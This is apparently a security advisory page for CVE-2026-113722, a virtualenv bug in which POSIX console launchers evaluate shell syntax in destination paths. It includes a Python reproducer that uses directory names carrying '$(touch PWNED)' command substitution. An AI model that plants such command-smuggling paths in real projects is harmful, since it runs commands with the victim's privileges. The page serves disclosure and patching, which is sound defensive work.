high · 7.8 Patched

virtualenv: Generated POSIX console launchers interpret destination paths as shell syntax

CVE-2026-113722 · GHSA-c978-59m8-c77v · published 21 Oct 2026

How serious is it

  • Severity: high, CVSS score 7.8 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-113722?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • virtualenv (PyPI) < 21.14.9

How to check

  1. Run pip show virtualenv in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
  3. Or run npx shippable-dev scan localhost:3000 in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. Upgrade virtualenv to 21.14.9 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

## Summary A destination path supplied to virtualenv can be interpreted as shell syntax by a generated POSIX console launcher. The app-data seeder and pip delegate launcher generation to distlib but supply the interpreter path in a form that does not preserve it as literal data in the shell wrapper. ## Affected area POSIX console scripts generated by the app-data seeder or pip when the interpreter path requires a shell wrapper. Windows executable launchers are not affected by this path. ## Attacker-controlled input An attacker must influence the environment destination passed to virtualenv, and the user must subsequently run a generated launcher. The attacker does not need to modify an installed executable or control the user's app-data cache. ## Affected code The relevant 21.14.8 source is in [ScriptMakerCustom](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py). ## Mechanism The app-data seeder passes the environment's interpreter path through `enquote_executable()` to distlib's `ScriptMaker`. It adds double quotes for a path with a space but does not escape shell expansions inside those quotes. When the path has a space or the shebang exceeds 127 bytes, distlib emits a `#!/bin/sh` wrapper with a line shaped like `'''exec' "<path>" "$0" "$@"`. The shell expands `$(...)` and backticks in that path when the launcher is run. The same wrapper must also parse as Python, which exposes additional quote and backslash cases. Environment creation and activation do not trigger the shell payload. ## Reproduction and evidence The scanner created three environments: a control under `my -touch PWNED- project`, one under `my $(touch PWNED) project`, and one under a path of more than 127 bytes ending in `$(touch${IFS}PWNED)`. Each was created without producing `PWNED`. Running the generated `bin/pip --version` created `PWNED` in both attack cases; the control created none. The long-path case reached the shell wrapper without a space. This reproduces execution by the generated launcher, with the user's privileges, rather than during seeding. The report dates the app-data seeder's distlib launcher integration to #1579, first released in 20.0.2. [PR #3417](https://github.com/pypa/virtualenv/pull/3417) quotes the raw interpreter path for the POSIX wrapper and repairs launchers written by the pip seeder. Pip's own distlib can write a vulnerable wrapper again during a later pip install or upgrade; the proposed virtualenv fix does not change pip's vendored code. The maintainer-provided follow-up review reports that later path separately. ## Attack sequence ```mermaid sequenceDiagram participant A as Destination supplier participant V as virtualenv seeder participant D as distlib ScriptMaker participant S as Generated bin/pip participant U as User A->>V: path contains $(touch PWNED) V->>D: pass interpreter path with incomplete shell quoting D->>S: write /bin/sh wrapper Note over V,S: no payload runs during creation or activation U->>S: pip --version S->>S: shell expands path and runs touch S-->>U: PWNED appears with user's privileges ``` ## Reproducer files The following files are from the scanner report for `ANT-2026-5DZVLGL1`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update. **`repro`** ```text #!/usr/bin/env python3 import shutil import subprocess from pathlib import Path WORK = Path("/tmp/repro-console-script") # The attacker's whole input: the name of a directory above the environment (a repository, a project folder). DIRECTORY_NAMES = { "CONTROL": "my -touch PWNED- project", "OBSERVED": "my $(touch PWNED) project", # no space: distlib also picks the /bin/sh launcher once "#!<dest>/bin/python" is longer than 127 bytes "OBSERVED_LONG": "p" * 120 + "$(touch${IFS}PWNED)", } shutil.rmtree(WORK, ignore_errors=True) pip_printed = {} created_by_pip = {} for label, name in DIRECTORY_NAMES.items(): # the payload can hold no "/", so it touches a relative PWNED: each case gets its own empty working directory cwd = WORK / label / "cwd" venv = WORK / label / name / "venv" cwd.mkdir(parents=True) # set up: the user creates an environment there with default options (--no-periodic-update keeps it offline) subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", str(venv)], cwd=cwd, check=True) assert list(cwd.iterdir()) == [], "environment creation must not have created anything" # trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own pip = subprocess.run([venv / "bin" / "pip", "--version"], cwd=cwd, capture_output=True, text=True) pip_printed[label] = pip.stdout created_by_pip[label] = sorted(p.name for p in cwd.iterdir()) launcher = (venv / "bin" / "pip").read_text().splitlines() print(f"{label}: directory name {name!r}") print(f" bin/pip line 1: {launcher[0]}") print(f" bin/pip line 2: {launcher[1]}") print(f" bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}") print(f" files bin/pip created in the working directory: {created_by_pip[label]}") # check: a directory name is data; starting pip must run pip and nothing else control_ok = pip_printed["CONTROL"].startswith("pip ") and created_by_pip["CONTROL"] == [] attack_ran = created_by_pip["OBSERVED"] == ["PWNED"] and created_by_pip["OBSERVED_LONG"] == ["PWNED"] print("BUG" if control_ok and attack_ran else "OK") ``` ## Fix scope and remaining exposure PR #3417 changes launcher generation by the app-data seeder and repairs POSIX shell wrappers after…

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from GitHub Advisory Database, OSV. Last updated 25 Oct 2026. All vulnerabilities · RSS · JSON